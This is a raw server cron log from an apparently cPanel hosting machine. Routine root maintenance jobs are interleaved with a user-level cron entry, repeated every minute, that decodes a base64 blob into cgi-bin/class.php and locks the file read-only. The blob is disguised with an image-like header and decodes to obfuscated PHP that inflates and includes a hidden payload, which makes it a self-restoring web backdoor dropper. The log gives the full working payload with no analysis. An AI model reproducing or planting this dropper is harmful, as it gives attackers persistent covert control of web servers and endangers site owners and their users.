Aug 30 11:29:01 server CROND[2041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:30:01 server CROND[2426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:30:01 server CROND[2427]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:30:01 server CROND[2429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:30:01 server CROND[2431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:30:01 server CROND[2428]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:30:01 server CROND[2430]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:30:01 server CROND[2432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:30:01 server CROND[2434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:31:01 server CROND[3286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:31:01 server CROND[3287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:31:01 server CROND[3285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:32:01 server CROND[3653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:32:01 server CROND[3654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:32:01 server CROND[3655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:33:01 server CROND[4031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:33:01 server CROND[4032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:33:01 server CROND[4034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:34:01 server CROND[4544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:34:01 server CROND[4545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:34:01 server CROND[4546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:35:01 server CROND[4939]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:35:01 server CROND[4941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:35:01 server CROND[4942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:35:01 server CROND[4946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:35:01 server CROND[4957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:35:01 server CROND[4956]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 11:35:01 server CROND[4955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:35:01 server CROND[4953]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:35:01 server CROND[4954]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 11:36:01 server CROND[5783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:36:01 server CROND[5784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:36:01 server CROND[5785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:37:01 server CROND[6164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:37:01 server CROND[6165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:37:01 server CROND[6167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:38:01 server CROND[6537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:38:01 server CROND[6536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:38:01 server CROND[6538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:39:01 server CROND[6996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:39:01 server CROND[6995]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 11:39:01 server CROND[6997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:39:01 server CROND[6998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:40:01 server CROND[7391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:40:01 server CROND[7392]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:40:01 server CROND[7394]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:40:01 server CROND[7396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:40:01 server CROND[7400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:40:01 server CROND[7399]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:40:01 server CROND[7397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
